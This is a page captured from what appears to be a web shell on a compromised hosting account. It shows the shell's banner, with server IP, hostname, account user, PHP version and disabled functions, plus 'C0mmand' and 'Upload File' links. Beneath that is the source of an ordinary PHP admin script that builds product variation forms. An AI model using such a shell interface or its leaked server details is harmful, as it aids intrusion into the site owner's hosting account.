|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/gemore/../invoice/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'db.php';
if (!isset($_POST['pid']) || !isset($_POST['variation_char'])) {
echo "Missing required parameters";
exit;
}
$pid = intval($_POST['pid']);
$variation_char = htmlspecialchars(trim($_POST['variation_char']));
try {
$sql = "SELECT v.*, p.ptype FROM variation v INNER JOIN product p ON v.pid = p.pid WHERE v.pid = $pid ORDER BY v.vname ASC";
$stmt = mysqli_query($con, $sql);
$variations = [];
$ptype = '';
while ($row = mysqli_fetch_assoc($stmt)) {
$variations[$row['vname']] = explode(',', $row['vvalue']);
$ptype = $row['ptype'];
}
if (!isset($variations[$variation_char])) {
echo "Invalid variation character selected.";
exit;
}
$selectedValues = $variations[$variation_char];
$otherVariations = array_diff_key($variations, [$variation_char => '']);
$otherVariationName = key($otherVariations);
$otherValues = $otherVariations[$otherVariationName] ?? [];
$groupedByPrimary = [];
if (!empty($otherValues)) {
foreach ($selectedValues as $selValue) {
$selValueTrimmed = trim($selValue);
$combinationsForValue = [];
foreach ($otherValues as $otherValue) {
$otherValueTrimmed = trim($otherValue);
$combination = $selValueTrimmed . ' | ' . $otherValueTrimmed;
$combinationsForValue[] = [
'full_combination' => $combination,
'secondary_value' => $otherValueTrimmed
];
}
$groupedByPrimary[$selValueTrimmed] = $combinationsForValue;
}
} else {
foreach ($selectedValues as $selValue) {
$selValueTrimmed = trim($selValue);
$groupedByPrimary[$selValueTrimmed] = [
['full_combination' => $selValueTrimmed, 'secondary_value' => '']
];
}
}
?>
<div class="accordion" id="accordion_item">
<?php
foreach ($groupedByPrimary as $primaryValue => $combinations) {
$accordionId = md5($primaryValue);
$bodyId = 'body_' . $accordionId;
?>
<div class="accordion-item">
<h2 class="accordion-header" id="accordion_item_<?php echo $accordionId; ?>">
<button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#<?php echo $bodyId; ?>" aria-expanded="false" aria-controls="<?php echo $bodyId; ?>">
<?php echo htmlspecialchars($primaryValue); ?>
</button>
</h2>
<div id="<?php echo $bodyId; ?>" class="accordion-collapse collapse" aria-labelledby="accordion_item_<?php echo $accordionId; ?>" data-bs-parent="#accordion_item">
<div class="accordion-body">
<table class="table">
<tbody>
<?php
$variationData = resultSet($con, "SELECT * FROM variation_multi WHERE pid = $pid");
$radioIndex = 0; // Start radio name counter
foreach ($combinations as $combo) {
$primaryValueTrimmed = trim($primaryValue);
$secondaryValueTrimmed = trim($combo['secondary_value']);
$oldPrice = $newPrice = $quantity = $variantId = '';
$value_ofpack = $weikg = $weigty = $kgtotal = '';
$unitsofmeasement=0;
foreach ($variationData as $variationRow) {
if ($variationRow['value1'] == $primaryValueTrimmed && $variationRow['value2'] == $secondaryValueTrimmed) {
$oldPrice = $variationRow['oldprice'];
$newPrice = $variationRow['newprice'];
$quantity = $variationRow['qty'];
$variantId = $variationRow['vmid'];
$value_ofpack = $variationRow['value_ofpack'];
$unitsofmeasement = $variationRow['unitsofmeasement'];
$weikg = $variationRow['weikg'];
$weigty = $variationRow['weigty'];
$kgtotal = $variationRow['kgtotal'];
break;
}
}
$radioName = 'qtytype_' . $accordionId;
$radioIndex++; // Increment radio index
$fullCombo = htmlspecialchars($combo['full_combination']);
?>
<tr data-mvid="<?php echo $variantId; ?>" class="variation-row">
<td>
<input type="hidden" name="v1" value="<?php echo htmlspecialchars($variation_char); ?>">
<input type="hidden" name="v2" value="<?php echo isset($otherVariationName) ? htmlspecialchars($otherVariationName) : ''; ?>">
<input type="hidden" name="value1" value="<?php echo htmlspecialchars($primaryValue); ?>">
<input type="hidden" name="value2" value="<?php echo htmlspecialchars($combo['secondary_value']); ?>">
<label class="form-check-label pb-3">Name</label><br>
<label><?php echo $fullCombo; ?></label>
</td>
<?php if ($ptype == 'Packaging') { ?>
<td>
<label class="form-check-label pb-3">Units</label><br>
<div class="form-check form-check-inline">
<input class="form-check-input qtytype-radio" type="radio" name="<?php echo $radioName; ?>" value="0" <?php echo (!isset($unitsofmeasement) || $unitsofmeasement == "0") ? 'checked' : ''; ?>>
<label class="form-check-label">NOS</label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input qtytype-radio" type="radio" name="<?php echo $radioName; ?>" value="1" <?php echo (isset($unitsofmeasement) && $unitsofmeasement == "1") ? 'checked' : ''; ?>>
<label class="form-check-label">KG</label>
</div>
</td>
<td>
<div class="mb-5 valuesqty-container_01 d-block">
<label class="form-check-label pb-3">Qty</label>
<input name="quantity" type="text" class="form-control quantity-input" value="<?php echo htmlspecialchars($quantity); ?>" placeholder="Quantity" data-unit="<?php echo $fullCombo; ?>">
</div>
<div class="mb-5 d-none valuesqty-container">
<div class="d-flex gap-3">
<div>
<label class="form-check-label pb-3">Weight KG</label>
<input type="text" class="form-control widthh valuesqty-input" name="valuesqtyinput" value="<?php echo htmlspecialchars($weikg); ?>" placeholder="How many kg">
</div>
<div>
<label class="form-check-label pb-3">Weight Values</label>
<input type="text" class="form-control widthh valuesqty" name="valuesqty" value="<?php echo htmlspecialchars($weigty); ?>" placeholder="Enter values in per kg">
</div>
<div>
<label class="form-check-label pb-3">Total</label>
<input type="text" class="form-control widthh valQty-input" name="valQty" value="<?php echo htmlspecialchars($kgtotal); ?>" readonly placeholder="Calculated value">
</div>
</div>
</div>
</td>
<?php } else { ?>
<td>
<label class="form-check-label pb-3">Old Price</label>
<input name="old_price" type="text" class="form-control" value="<?php echo htmlspecialchars($oldPrice); ?>" placeholder="Old price">
</td>
<td>
<label class="form-check-label pb-3">New Price</label>
<input name="pricee" type="text" class="form-control" value="<?php echo htmlspecialchars($newPrice); ?>" placeholder="New price">
</td>
<td>
<label class="form-check-label pb-3">Quantity</label>
<input name="quantity" type="text" class="form-control" value="<?php echo htmlspecialchars($quantity); ?>" placeholder="Quantity">
</td>
<?php } ?>
<td class="pt-5">
<input type="hidden" name="variant_ids" value="<?php echo $variantId; ?>">
<button type="button" class="btn btn-danger btn-sm delete-variation mt-5" data-mvid="<?php echo $variantId; ?>" data-pid="<?php echo $pid; ?>">
<i class="bi bi-trash"></i>
</button>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
<?php } ?>
</div>
<?php
} catch (Exception $e) {
error_log("Error: " . $e->getMessage());
echo "An error occurred while retrieving variations.";
}
?>